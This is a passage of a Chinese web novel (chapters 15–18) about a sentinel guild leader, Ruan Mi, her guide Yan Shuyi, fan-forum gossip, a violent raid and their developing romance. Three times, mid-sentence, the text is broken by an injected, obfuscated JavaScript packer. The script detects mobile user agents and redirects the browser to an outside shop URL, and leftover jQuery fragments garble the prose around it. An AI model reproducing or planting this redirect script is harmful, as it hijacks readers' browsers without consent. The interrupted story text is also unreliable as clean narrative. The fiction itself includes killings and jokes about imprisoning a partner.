翻来覆去纠结半晌,他唤起终端,点进注册完公会的身份后出现的公会论坛。原本是想研究有关任务和精神力方面的内容,却不知为什么进入了一个加密板块。 屏幕上赫然显出一行提示:“检测到异常波动,请输入信息验证对首席大人的忠心。” 首席大人?言述一思考一会,遵从自己的直觉输入记忆中阮弥的公会证件编号。 “验证通过。” 顷刻间,加密论坛全貌展现在他眼前,目前热度最高的帖子标题是:你怎么知道首席大人抱我了? 15. 第 15 章 瞬间连接前因后果的言述一咬牙切齿,想到自己前不久阮弥抱过自己才堪堪忍住。 理智告诉他不能看下去,手上的动作却从未停止。 1L:我不信,除非你让首席大人也抱抱我。 楼主:如果我说是我任务失败被首席大人拯救了,她还耐心安慰我和我说话,你们一定会祝福我的对吧?(羞涩搓搓手) 3L:谁问了?我请问谁问你了???该死的——我辛辛苦苦兢兢业业给公会打工不是为了看这个的!!! 4L:我不同意这门婚事。 5L:我不同意这门婚事。 6L:楼主运气还真是好啊(咬牙切齿) 往下滑了半天,言述一终于看到一点自己愿意看的内容。 46L:首席大人不是有向导了?他没打死你吗? 楼主:没有哦~(心虚目移)后面我也不知道发生了什么,我被我的哨兵和后勤小队围着检查。 48L:楼主,你这个罪恶的女人!(不是) 49L:在现场,后来首席大人抱着她的向导哄了好大一会,两人牵着手离开了。 身为当事人的言述一在屏幕前扬起笑容,帖子内则是被这条回复炸出不少人。 楼主:什么!!! 51L:可恶啊可恶!岂有此理!天理不容!!! 77L:大家先冷静一下,毕竟对方也是和首席大人精神结合了,首席大人要是不做点什么后面肯定会被买黑稿说不尊重伴侣看不起向导什么的…… 78L:你说得没错,只是我还是不能接受呜呜呜。 79L:我也是555555 无声的悲鸣在贴内此起彼伏,言述一的视线则是停留在黑稿上面数秒,眉头不自知地皱起。 101L:首席大人原来喜欢这种类型的吗?我完全不沾边啊。 102L:醒一醒好吗,怎么晚上也在做白日梦?首席大人才不是你能肖想的!就算有人完全是这样的类型也不可能入得了首席大人的眼。 言述一对此表示认可,点了个赞。 132L:说起来,之前不是有热帖在分析首席大人喜欢的类型,有预测中吗? 133L:没差太多?只是当时完全没推测出来首席大人是颜控诶。 134L:也不能这么说,特级应该就没有外表不出彩的人类吧? 135L:那倒也是。 后面大多数是些胡言乱语,言述一默默退出,想看看刚才提到的推测帖,绝对不是想看自己有没有对上。 点进精华帖区域,一系列内容对他来说简直是目不暇接。 首席大人出没地区可偶遇地点(请不要刻意蹲守)(会被版内成员痛揍)、首席大人战斗集锦、有关推测首席大人的性取向问题、首席大人喜欢的类型会是什么、所以首席大人究竟是不是性冷淡…… 鬼使神差的,言述一点进性冷淡的帖子。 楼主:首先,其次,最后,我没有对首席大人的非分之想(目移) 2L:我也没有(心虚) 3L:我有!(该用户已被封禁) 管理员:我要把你们这些对首席大人不敬的家伙通通抓起来! 5L:得不到想一想还不行吗(大哭) 管理员:不!行! 楼主:求放过,我对首席大人充满崇敬之心啊!回归正题,总之,我认为首席大人绝对不可能是性冷淡,只是要做的任务和要忙的事情太多,以及身边没几个正常人才让她看起来好像无欲无求。 8L:我也这么觉得,首席大人就是那种表面看起来一本正经其实私下最不正经的了(光速逃走) 9L:我能说我觉得首席大人会玩得很花吗? 楼主:所见略同!好了,我们来讨论首席大人会喜欢什么姿势吧(搓手手) 再往下就没有后续了,该帖已永久封禁,管理员留言:看到这里的人通通乱棍打死!随即页面上弹出系统提示:您已被标记为危险用户,请注意自身言谈举止。 钓鱼帖啊…… 两股感觉在言述一心里打架,一边在说封得好!一边在说他也想知道。 一道精神标记附着在自己身上,思虑半晌后言述一怀揣着微妙的心情抹去。这么做好像是有些不对,可是…… 任凭玄凤怎么啄他的脑袋,言述一依旧不为所动地浏览帖子。 即便是特级依旧是人类,接连两天熬夜还特地起个大早和阮弥问好的言述一显然状态不佳,吃早餐时被阮弥特地询问:“没休息好吗?” “嗯……有一点点。”在被告发之前,言述一先一步捂住了玄凤的喙。 这一晚上他收获颇丰也想了很多,再三纠结,他掐紧指节望向那双平静无波的眼眸说出自己的打算:“阮弥,我想试着自己去做任务。” “你肯定有很多事要忙,我不想你因为我耽误那些对你来说更重要的事情。” 就言述一的私心来说,他肯定希望自己能够无时无刻不在阮弥身边,只是这样不太现实,他知道自己还没有得到阮弥全部的信任。 也不算是完全不信任,是一种不可见又始终无法打破的隔阂始终存在于彼此之间。 这段时间以来一直都是阮弥在包容自己,或许有那么几分的可能这样的状态能够永远持续下去。 可言述一明白自己想要的不止于此。 除开和阮弥的第一次见面特殊状况有所冲突,之后阮弥一直都对他很好,一直宽慰着他的焦虑,他的不安,他的……一切。 他想要的不止是阮弥对自己的温柔和谅解,不止这些。 “没问题。”预料之中,阮弥笑着答应言述一的请求,“不过就算你是特级可以独自完成任务,也需要先组队熟悉实战环境,这也是规定,我会先和你把各种任务类型都做一遍。” 看完公会所有规章制度的言述一眉眼弯弯应下:“那真是太好了。” 昼夜悄然轮转,敞开的大门带入日光,言述一抱着一盆绿植回到家中。他脱下风衣挂在置衣架上,摆弄好绿植,屋外有喧嚣的风掠过,他静静注视风从摇曳的树影上带走无数蓝紫色花瓣。 今天他第一次自己完成了任务,在任务地点附近精挑细选了这盆还算有特色可能会被阮弥喜欢的草。 言述一在屋子里转悠几圈,选择一个更适合摆放的地点。他有很多话想和阮弥说,也有很多事想和她分享,只是阮弥还没回来…… 没关系,他擅长等待。 “砰!” 微不可闻的声音在黑暗中响起,宽大叶片上出现圆孔焦痕,温热的鲜血穿过空隙落在洁白墙面,与其一同烙下的,还有被拉长蔓延到拐角的血红手印。 “求求你们,放过我吧!不管是你们想要什么我都能给你们,我的钱我的房产我的地皮,只要你们能饶我一命——” “要那些劣质资产有什么用?”漆黑枪口抵住口腔射出子弹。 把手中的枪扔到半边,洛安从尸体手心拽出密钥,她面上一喜迈开步伐到阮弥身边,将手中的东西抛给旁人:“老大,我找到啦。” “啊?原来老大也来了,怪不得我刚才没被打中,安安姐你怎么不早说。” “说了你们就什么都等着她去做了,那可不行。” “门马上开了。”拿到密钥敲着键盘破解安保防线的明璃打了个哈欠,“大家都小心点,名单上还有一个人没死,应该就在里面。” 精密到严丝合缝的沉重铁门层层打开,漏网之鱼出现在众人视野中央,手中的枪口对准被他勒住的人质。 “别过来!不然我就杀了她。” 比你来我往谈判先到场的是不屑地质疑:“不是吧?他以为我们是官方组织?不会到现在都没弄清状况吧?” 不是官方就表示不会多么重视他手中视作筹码的性命,更打破他一直以来的揣测。他吞了吞口水,颤抖地开口:“你们……究竟是什么人?” “诶,我们组织有什么响亮的名号吗?” “没有,老大说她懒得取。” “真是遗憾啊——” “砰砰!”两道枪声,是被忽略的人朝着天花板愤怒开枪夺回众人的注意,他满脸狰狞呐喊:“你们这些该死的家伙真以为我不敢开枪吗?” 预料之外的嗤笑回荡室内:“继续开啊。” 声音的源头正对着他,他看不清那人的脸,极度愤怒之下他抬手扣动扳机射出子弹,随即,撕心裂肺的疼痛布满全身。 他……中弹了? 直到躺在地上失血失温再起不能,他才迟迟意识到这些人如此肆无忌惮的原因是有一位哨兵正在这里,在阴影中位于众人中央。 阮弥一步步走到惊慌失措的孩子面前蹲下,温柔带笑递出泛着寒光的匕首:“杀掉他吧。” “下班收工咯。”洛安走过来毫无顾忌地和阮弥勾肩搭背,满脸灿烂笑容对紧握匕首的孩童说道:“要记得处理掉血迹和指纹哦小妹妹~” “辛苦大家收一下尾,这次的任务津贴已经打到你们账户了。” “好耶!安安姐万岁!老大拜拜~”没法回头的阮弥挥了挥手。 没走多远,好不容易搂住阮弥根本不打算放手的洛安就开始控诉:“老大——你都很久没和我们吃饭了,吃饭不单单是吃饭,还是用来培养感情!你再不和我一起吃饭我的心就要变得冷冰冰了。” 洛安只差没直接说阮弥是被狐狸精勾走了。 “好好好。”完完全全被洛安带着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551839|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阮弥无奈拉长语调妥协,“我和你吃完晚餐再回去。” “好诶~”转眼看见阮弥正发信息告诉言述一自己不回家吃饭,洛安就摇头晃脑开始叹气:“真是让人胃寒,老大你现在和我吃饭都要和人报备了,想当初……” “限量小蛋糕吃不吃?我订好了。” “吃!老大你真好。” 阮弥刚要收起终端,上面弹出来自巫蔓菁的消息:来我家吃饭。 眼见坐在对面的巫蔓菁绽开笑容视线从蒸腾热气的红汤锅底移到自己身上,相识多年的直觉告诉阮弥她马上要调侃自己了。 “哟,真是难得看见我们炙手可热的阮弥身边没人啊。” “就是就是就是,老大,蔓菁姐都和我们说了,老大你和你的向导天天黏在一起。”做完任务还手拉手去逛街。 “哪有天天?我今天不是在这里吗?”阮弥往洛安碗里夹肉夹菜,试图用食物堵住她的嘴。 目光随着食物移动的洛安不为所动:“距离我们上次一起吃饭都过了一个多月了!” “我错了我错了,过了这段时间以后会更有空点能常回组织。” “真的吗?”巫蔓菁似笑非笑。 “应该吧?” 阮弥有些心虚移开目光的时候,巫蔓菁和洛安却对上了视线。 “为了表示真挚的歉意,以及纪念我们的友情再度升温,老大,你今天必须得和我们喝一杯!” “什么酒桌文化死灰复燃啊。” “老大——” “好好好好好好。” 酒过三巡,洛安歪歪扭扭躺在巫蔓菁家的沙发上说梦话,头快要自由落体着地的时候被无形的力量托回靠枕上。 “我还以为你变成哨兵酒量就没那么好了。” “那就没人和你坐在这里聊天,还得你照顾两个醉鬼。”清脆的碰杯声响起,阮弥仰头喝掉杯底残余的酒液,将空空如也的高脚杯推远桌沿。 撑着自己略微沉重的脑袋,阮弥看向还在给自己倒酒的巫蔓菁:“说起来,真的不用把那个住持杀掉吗?” “我问过镜明,她还是拒绝了。” 不知何时变成趴在桌上的阮弥感慨:“真是出家人慈悲为怀啊。” “物种不同,歧视就天然存在,这是杀掉再多人类也完全没办法改变的生物本性。” “那她不就回不去寺庙了?” “不用担心,她在哪里都可以生根发芽,不是什么菟丝花金丝雀。” 沉寂的空气中只剩下汤底滚烫的声响,阮弥缓缓直起身,透过飘散的水汽她看见巫蔓菁的眼眸依旧幽静深邃。 “我感觉你在含沙射影。” “的确。” 阮弥何尝不知道陷在迷雾中的人是她自己,她率先移开视线,苍白又无力地解释:“他有自己出任务。”就在今天。 “你最好考虑清楚,你最近对你的向导有点太上心了。” “我考虑不清楚……”明明没有醉,阮弥却觉得自己的脑袋已经变成了一团浆糊,她不明白,“我不应该上心吗?” “如果你真的确定他是能和你共度一生的人那当然没问题,不过……你敢确定吗?” 耳边传来的刺耳声响愈发加重,连同呼入鼻腔的气温也变得炽热,直到一阵刺眼强光唤回阮弥逐渐溃散的目光。 “还没见你这副为情所困的模样呢,我要裱起来挂在墙上。”巫蔓菁晃了晃手中的老式相机。 “我完全不理解也不认可你们哨兵向导需要结合,但这是你不得不承担的代价,精神结合的期限还有多久你应该清楚。” 将相机吐出的照片收好,巫蔓菁起身拉了条毯子给洛安盖上,而后看向阮弥。 “阮弥,你还记得我们看过的那些古代人类史吗?不想让他变成灾星的话,你得快点做出决断。” “老大!你也别急。”原以为早就陷入昏睡的洛安忽然起身献出良计,“实在不行把你的向导囚禁起来,当你的禁脔也没什么问题吧?” 看着认真思考起来的阮弥和重新瘫倒呼呼大睡的洛安,巫蔓菁捂脸叹气。 “也该轮到你们去看看心理医生了。” 门轴缓慢转动,阮弥也不知道为什么她回自己家要像做贼一样。屋内外早已漆黑一片,她没有开灯,直到换鞋的中途,略微迟缓的感知带来信息告诉她,客厅有人在。 也就是说,言述一还在等她。 等阮弥回过神,言述一已经来到她的身边,握住她的手腕。 身为特级哨兵,黑暗无法模糊阮弥的视觉,她看得见言述一略显阴沉的眼眸,却看不懂那些色彩中蕴含的种种复杂情绪。 “阮弥……” 为什么身上有其他人的精神力痕迹? 16. 第 16 章 “你回来了。” 阮弥无法理解的情绪在言述一的眼中满溢,她眼睁睁看着那些情绪被垂下的眼帘掩盖,看着言述一挤出近乎苦涩的笑。 “我……” “见到你平安无事我就放心了,我有些累,先去休息了。” 手腕被轻轻放开,不过片刻,两人相隔极近的距离被重新拉远。阮弥站在原地,沉默地注视言述一离开的背影直至消失不见。 她不知道自己刚才想说什么,可她觉得言述一原本要说的应该不是这些。 没有落点的目光垂在玄关角落的盒子上,里面是蛋糕,她今天订了两个。 阮弥当然知道今天是言述一第一次自己出任务。 她弯腰领起,融入寂静又空荡的屋子,将没拆封的礼盒放在她原先预想中的位置后,视线却定格在一盆被放在墙角的绿植上。 她不记得自己买过,所以那是言述一今天买的。 黑暗中的幽静似乎会被无限拉长。 不知过了多久,阮弥回到自己的房间,她按照日常习惯洗漱完毕,掀开被子躺在床上。 ……完全睡不着。 她感觉自己的思绪有些僵化,不知道是因为巫蔓菁的酒还是其他的什么,她想不清楚。 阮弥不知道自己为什么要起身,为什么要来到阳台吹冷风,刺骨的寒凉没有让她混沌的脑袋清醒半分,反而让扬起的发丝遮住她的视线。 现在应该抽根烟来应景,但她讨厌烟味。 乱糟糟的脑子里面混杂很多东西,一下记起方泽前几天告诉她一部分圣所老东西的后续计划,一下想起自己好像真的很久没去组织,一下是洛安硬塞到她嘴里的草莓蛋糕…… 最后阮弥无可避免地想起刚才,那道属于言述一的目光。 他对她很失望吧…… 这样不也挺好吗?她本来就不是什么好东西,更不可能陪他玩一辈子过家家。 终端不合时宜地传来震感,一个待办事项弹出在她眼前:预订安珀里尔跃迁舰停泊位。以及如影随形的广告:团建蜜月好去处,安珀里尔度假星,永不失色的琥珀星球期待您的到来! 下意识关闭广告的手指有停顿那么一秒,最终色彩斑斓的光线还是消失在阮弥眼中。 度什么假,还是早些休息吧。 这么想着的阮弥走出了房间。 不管怎么说今天是她不对在先,没办法兼顾两边就算了还回来得很晚,都不需要感知捕捉残存的气息她都知道言述一绝对没吃晚饭,还等了她很久。她是有和他提前说过,但不知道为什么他的反应会那么奇怪…… 她也不知道自己到底是怎么了,总之,先道歉吧。 阮弥在言述一的卧室门前站定,准备敲门的手却在触及前一秒停下,一些极其细微的声响在无限放大后传入她的耳中,一点、一滴。 那是眼泪落下的声音。 言述一不知道自己是怎么回到房间的,残存的理智牵引着他的动作,开门、换衣、洗漱、睡觉,完全失去对周围感知的他被绊倒,跌坐在地毯上。 离床只有一步之遥,他却没有起身的力气。 眼中的色彩逐渐模糊,泪水不受控制地溢出顺着眼角滴落,他攥紧手心,没有出声。 为什么会这样……他是不是就不应该醒来? 今天晚上言述一等了很久,这没什么,阮弥原本就没有让他等,是他自己的选择。无论是等待还是看到阮弥回来他都很开心,直到他察觉一股极为陌生的精神力遍布阮弥的体内。 他的美梦被打碎了。 蔓延地面的发尾在轻轻颤动,断了线的眼泪融入其中。 他不明白为什么会这样。 这一个月来言述一都很开心,因为他能一直待在阮弥身边,即便他还没有找到打破隔阂让关系更进一步的办法,但只要能陪在阮弥身边他就已经能获得前所未有的安心。 只是一个多月而已……在他从前沉睡的时候,阮弥也在度过她的人生。 她会遇到很多人,见到很多事,她很少和他提起过去的自己,这其中是否就包括那股精神力的源头? 不是那些哨兵也不是他见过的云芷,洛安和巫蔓菁不是向导和哨兵,如果真的是这样阮弥也不会让他知晓对方的存在,她完全可以把一个人藏起来不让他知道。 所以,他是第三者? ……那他也认了,他绝对不会离开阮弥,他要把那个人找出来杀掉。 想好之后的打算,言述一胸口的沉闷依然无法消散,早就混乱的思绪又是一个接一个跳出,要是阮弥真的喜欢那个人怎么办? 他沉浸在思绪中完全没注意到自己的脚早就麻木,撑起身体的一瞬就不受控制地要再次跌倒。 言述一心头一紧,这会弄出很大的声响。 头脑空白的瞬间,预期中的疼痛却没有到来,有人扶住了他。 诶? 言述一被安安稳稳地扶到床上坐好,阮弥在他身旁。 “对不起……”阮弥眼中充满歉意地看向他,“不管是今天很晚回来,还是没经过你允许就擅自进来。” 她有点担心又怕突然打扰吓到言述一,鬼使神差的隐藏起气息推门而入,言述一也确实没注意到她,她却不知道该做些什么进也不是退也不是,见到他要跌倒就下意识上前扶住。 看见言述一发红眼眶的那一刻阮弥心中就已经泛起无数愧疚的浪涛。 她都做了些什么? 阮弥没办法再看下去,移开视线:“真抱歉,我应该处理好人际关系和其他事情的,我太久没回去了,要是我之前偶尔去看看安安她们,这样安安今天见到我就不会有那么多不满,也不会让我留下。” 当甩手掌柜的日子实在是太过舒适,她忏悔。 “……今天晚上,阮弥是和洛安在一起吗?”残留水汽的双眼静静注视阮弥。 “嗯,还有蔓菁,我和安安在她家里吃饭,还喝了点酒。我……不知道你会这么难过,不然我一定会早点回来。” 听到阮弥回答的言述一也缓缓垂下目光,他确信阮弥没有说谎。 “不管你回来多晚我都会等你……”他心底压下的委屈在此刻反涌,“可是你回来的时候身上带着其他人的精神力,我以为你不要我了。” 擦不尽的泪水打湿阮弥的掌心,言述一没有安全感这点她一直都知道。 从小被迫陷入沉睡的言述一和她不一样,阮弥知道自己有许多支点,阮女士、安安、蔓菁、包括小鲸和她自己。而言述一呢?他没有朋友,更没有家人牵绊,他只在她的身边。 指腹轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553724|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹过言述一泛红的眼尾,阮弥柔声许下诺言:“这种事情绝对不会发生,我保证。” 郁结于心的雾气终于散开,言述一觉得自己快要溺死在阮弥眼中。 现在做点什么是可以被轻易原谅的吧? 言述一抬手覆上阮弥的手背,稍稍往后一拉,趁阮弥猝不及防如愿吻到和预想中一样柔软的唇。 啊? 这是阮弥未曾预料到的举动,她本能般闭上眼,却也让剩下的感官更加明显。她整个人都有些僵硬,抵住言述一的手也不敢用力。 她已经很久没感受过如此惊慌失措跌宕起伏的心情了。 但……她并不排斥。 只是阮弥有些不解,言述一从哪里学的?怎么这么熟练?难道这种事情也讲究天分吗? 很快她就没空想这些问题了。 在两人理智都快要到达临界点时,言述一终于舐去阮弥唇瓣上的水渍,结束这个在她看来太过漫长的吻。 重新睁开眼的阮弥在放空状态,一旁默默注视还没缓过来的阮弥,言述一微不可闻的轻笑。 很快,他开始抑制心底的雀跃,让自己看起来还是之前那副脆弱又易碎的模样,他触碰阮弥的指尖,拉起她的手,小心翼翼地询问: “阮弥,今晚可以留在这里吗?只是留在这里……可以吗?” 接收到可怜兮兮目光的阮弥已经没有任何拒绝的理智,她迟缓地点头:“好。” 不知道是酒精迟迟醉人,还是她被吻得头脑发昏,再度同床共枕的两人早就越过从前的安全距离,即便如此阮弥也很快就陷入沉睡。 言述一则完全相反,光是侧过身能一眼见到阮弥的喜悦感就让他难以入眠。 只是见到阮弥,油然而生的温暖就会布满全身,这是否就是人们口中的幸福? 不止是这些宝贵的、难得的、能让他感到安心的感受,还有更多难以言喻、难以忍耐的东西——他本能的欲望。 想要陪在阮弥身边,这是言述一最核心,最想要获得的愿望。 在这之外,还有无数微小又难以启齿的附加条件。 不知不觉,他撑起身体,离得更近。 深邃的幽紫色双眼静静看着阮弥,想要将这一眼烙印进他的灵魂深处,指节在拨弄发丝,言述一脑海中不由得窜出一个念头: 阮弥像是一团温暖的火,他是心甘情愿去扑火的飞蛾。 看着看着,他却蹙起眉头。 嗯……有些碍眼的东西还没消失呢。 刚刚阮弥说过,她今晚喝了酒,刚才那个吻他也有尝到微弱的酒精味,看来是把精神力实体化融入酒里,喝下去后能让人察觉。 这是故意给他下的饵吗? 很好吃呢。 先前的浅尝辄止没办法消除阮弥身上所有让人讨厌的精神力,言述一缓缓俯身,发丝垂落交织,距离不断缩小,呼出的气息全都混杂在一起。 只可惜,精神结合没办法单方面加深,他的忧虑也没办法彻底消失。 莫名,言述一想起阮弥许下的承诺,就算是酒后的诺言在她那里应当也是作数的吧? ……无论做什么,都不会被抛弃吗? 他贴合两人手心,十指紧扣,于漆黑温暖的夜中落下一个又一个不为人知的轻吻。 17. 第 17 章 阮弥做了一个奇怪的梦,梦里有人一直在吻她。 正当她质问自己怎么做这种梦时,昨天晚上的记忆涌入她的脑海……救命,她有那么如饥似渴吗? 阮弥怀着对自己的质疑醒来,睁眼就看见让她心神不宁的罪魁祸首。 “你醒啦。”言述一笑吟吟地看着她,不知道看了多久。 阮弥下意识看了眼言述一的衣服,还好这次他穿得还严实,她也不太敢把目光停留在他的脸上,那会让她想起自己做的梦。 她选择捂住自己的脑袋,定了定心神。光从状态来说,现在有问题的人好像是她自己。 “有哪里不舒服吗?”关切的声音在耳边响起,让阮弥有种想逃走的冲动,好在言述一没做什么其余的举动,依旧在她身旁静静等待。 “……我没事。” “早餐想吃什么?我先下去准备。”最近言述一有在学着做饭,一年到头进厨房做饭次数不超过一掌之数的阮弥对此表示支持。 “简单点就可以。” 目送言述一离开,阮弥才松出一口气。 她怎么这么紧张? 缓和一会她才起身开门回到自己的卧室洗漱,湿热水汽弥漫萦绕,适宜的热水漫到她的脖颈,淅淅沥沥的水流声占据她的听觉,水珠自空荡的目光中落下。 阮弥久久没有动作,任凭过满溢出的水从手心流走。 直到小鲸用尾鳍把开关停下,拍打起水面让水花四溅:“弥弥,你要当鸵鸟吗?” 被迫承受波及的阮弥直截了当地承认:“嗯。” 言述一在楼下准备早餐,大概用不了多久,或许现在就已经在等着她了?她却完全不知道要怎么面对,也不太想面对他。 “我以为只需要维持原状……”昨晚发生的状况却超出阮弥的预期。 过去的一个月里,她几乎不带任何私欲去帮助言述一,她不奢求更多的回报,只是希望言述一就算有一天要离开她也能自己一个人好好活下去。 “从始至终,我只是需要有向导帮我稳定精神空间。”这是所有哨兵都无可避免的代价。 她以为只要将自己和言述一的关系维持在界限内就会没问题。 “我可以带他做任务,给他很多东西,但这段关系只能到这里,我不能接受再进一步。如果我是为了言述一的向导身份和他亲近起来,那我和陆衍顾辞晏那些人又有什么区别?” 她才不要和他们一样。 阮弥不是没有过焦虑不安,只是被她自己压在心底。 “……就当我是在逃避吧。”她埋下脑袋。 她不觉得自己能为了言述一改变什么,妈妈让她遵从自己内心的感受,但她的感觉现在是一团糟乱糟糟的毛线,她找不到线头,也不想见到言述一。 小鲸游上前,蹭蹭阮弥低垂的脸颊。 “弥弥,你不是无欲无求的圣人,你在他面前太过压抑也忽略了很多东西,愿意和他接触也绝不是因为他的向导身份。” 小鲸一直都知晓两人相处中的隔阂,阮弥分不清自己对言述一到底是真心实意还是有所图谋,外界强加太多的东西模糊阮弥的感知,她的判断,她内心真正的想法。 “你接受的是言述一,而不是一个特级向导。” “打个比方,如果同样的情形同样的身份换成陆衍他们你会怎么办?” “我会杀了他。”光是想起这个名字她都想吐。 小鲸绕着阮弥转圈圈,还时不时用尾鳍轻拍她的脑袋:“所以啊弥弥,言述一和他们不一样,对言述一来说,弥弥和他们也不一样。” “嗯……” 听到她的声音还是有些沉闷,小鲸甩着尾鳍扬起水给出最后的计策:“弥弥,实在不行就像安安说的那样,你把他关起来吧。” “关起来的话很方便啊,家里地下室就可以,只要把他权限取消了弥弥你想见就见,想用就用……” 被小鲸刺激到的阮弥终于有了点其他情绪:“停停停,这不对吧?” 但……也确实可以实行。 蓝花楹的花瓣自窗外飘落,看着和昨日别无二致的景色言述一心情也是同样的雀跃,他的确等了一会,但他并不排斥这种明知有尽头的等待,更何况等待对象还是阮弥。 他反而还会不由自主地心生期待。 感受到属于阮弥的精神力出现时他就已经扬起嘴角,只是那道熟悉的精神力来到拐角处就停住不动,正当他有所疑虑时,就见到阮弥探出脑袋,对上他的目光。 “……抱歉,我来晚了。” 她硬着头皮走了过去,托安安和小鲸的福,现在阮弥一看到言述一就在想要给地下室买点什么东西。 对此一无所知甚至可能乐此不疲的言述一展颜微笑:“没关系的,快来吃点东西吧。” 桌上的餐食不算精致华丽,很简单,但无论从质感还是数量来看都足以彰显制作者的用心,放眼望去全都是阮弥喜欢吃的品类。 “尝尝味道怎么样?要是有哪里不合适的,我下次再改进。” 言述一拿起叉子,自然而然地喂到阮弥嘴边,她还没来得及思考就吃下去了。 ……吃都吃了。 味道也出乎意料,离她醒来已经过去了很久,久到现在已经临近午餐的时间,嘴里的米糕却还留着恰到好处的温度。 “我觉得很好吃。” “那就好。”言述一脸上绽出和从前一样的笑容,如今的阮弥却觉得有些晃眼。 没有注意到阮弥眼神闪躲,言述一将一块摆盘精致的蛋糕推到她面前,“这个蛋糕是阮弥买给我的吗?我很喜欢。” “你喜欢就好,这是安安在圣奎姆最中意的一家店。” 其实阮弥也不知道什么样的日子要送什么样的礼物。 阳光顺着窗沿撒进室内,恰好点缀在冒着热气的玉米汁上,带来温暖的同时逐渐消解掉阮弥心中最后那点别扭的线团。 察觉阮弥状态有所回升的言述一问出自己一直想知道的问题:“阮弥和洛安认识很久了吧?” “嗯,我来到圣奎姆不久就认识了她。” 算下来也是十多年了,言述一心想,要是他也能在那个时候认识阮弥就好了。 提起洛安,阮弥也回想起过去的记忆片段,那个时候的她性格比现在还差劲一万倍,直到现在她也不明白洛安当时是怎么想的会和她成为朋友。 所以……言述一又会是怎么想的呢?她好像从没考虑过他这方面的想法,自顾自地画地为牢。 视线不由自主地飘过去,言述一正在切蛋糕,刚刚给她的是第一块。 他有在很认真地品尝蛋糕的味道。 她还一口没吃。 两人相隔的距离本就不远,阮弥抬手,抚上言述一的侧脸。在抓住一闪而过的念头之前,本能的欲望已经在驱使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555708|204185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫嚣。 没有预料到阮弥动作的言述一,温柔澄澈的眼中透出一点茫然。 “言述一……”如同魔咒的言语在他耳边亲启: “吻我。” 理智顷刻断了线。 甜而不腻的奶油在阮弥唇舌间弥漫,交缠和低喘接连不断传入耳中,她的后颈也被抵住,杜绝她想要拉开距离的可能,不知何时缠上腰身的手有些用力,不像是禁锢,更像是在忍耐。 她的衣摆被撩起后又重新垂落。 阮弥如愿知晓蛋糕味道如何,的确很好,就是不知道什么时候会停下,她每一次萌生念头等到的却又是一次次纠缠不休。 她不说停,他就永远不会结束。 “……可以了。”阮弥侧开头,终止这场仿若永无止境的吻。 最后一个吻落在她的脸颊上,被舌尖轻触,留下点点湿热。 两人的面庞早已被欲色染上红霞,阮弥视线在四处游弋,言述一则正久久凝望她,从后颈移开的手指不由自主地抚过那片让他迷醉的色泽。 飘摇的目光终于回落,她见言述一笑意盈盈,眼眸中早就不复先前的清明: “要是我身上有阮弥想要的东西,你不用询问我的意愿,也可以随时命令我。” 简直是糟糕至极的话。 本来就难以退却的热度隐隐有加重的趋势,阮弥脑袋里各种思绪还在乱窜,她现在只想抱着自己的脑袋大叫停下来。 “……这样的话不能随便说。” “才不是随便,我只会对阮弥一个人说。”言述一语调蜿蜒萦绕,却字字情真意切。 他也只会听她的话。 “嗡嗡——” 震动的终端打破两人之间潮热又黏腻的氛围,看见是安安的名字阮弥才没有挂断,她短暂拾回理智,深呼吸后按下接通。 “老大!” 洛安明媚的笑颜与呼喊一同出现,见到阮弥脸上遍布前所未有的浅红她夸张地捂住嘴巴:“哎呀!我打扰你甜甜蜜蜜啦?” 深吸一口气的阮弥无奈撑住脑袋:“不准说怪话。” “我这不是描述事实嘛。”看见阮弥身旁的言述一,洛安收敛起自己的表情打了个招呼,“嗨,言向导。” 言述一带笑简单回应的同时,投影那边出现另外的声响:“什么?老大的向导也在,安安姐快让我看看!” “去去去,别吓到人家,当心老大打死你。” 清清楚楚听见另一头对话的阮弥是真有打死她们的心了:“找我做什么?” “诶——没事就不能找你了吗?”顶着阮弥想要杀人眼神的洛安笑着调侃,“老大,安珀里尔的停泊码发我一个呗。” “我没有那种东西。” “骗人,小璃都黑进他们系统里看见了,上面清清楚楚写着老大你定了两个位置呢,所以老大你有给我们定酒店吗?” “……我把地址发你,黑都黑进去了你们直接占用不就好了。” “那不行,我们可是遵纪守法的好公民,这不是还要请示一下老大你吗?” 看见地址的那一刻洛安就双眼放光:“哇塞,老大你这是包了座庄园吗?你真是我最最好的老大!我们先过去等你们哦,我和蔓菁姐已经准备好赔礼了。” “说是贺礼也可以吧?”洛安眨巴眨巴眼睛试作无辜,在被阮弥问罪之前火速撤退。 “老大拜拜~” 18. 第 18 章 “这也是礼物吗?” 言述一看向阮弥的眼闪烁亮光。 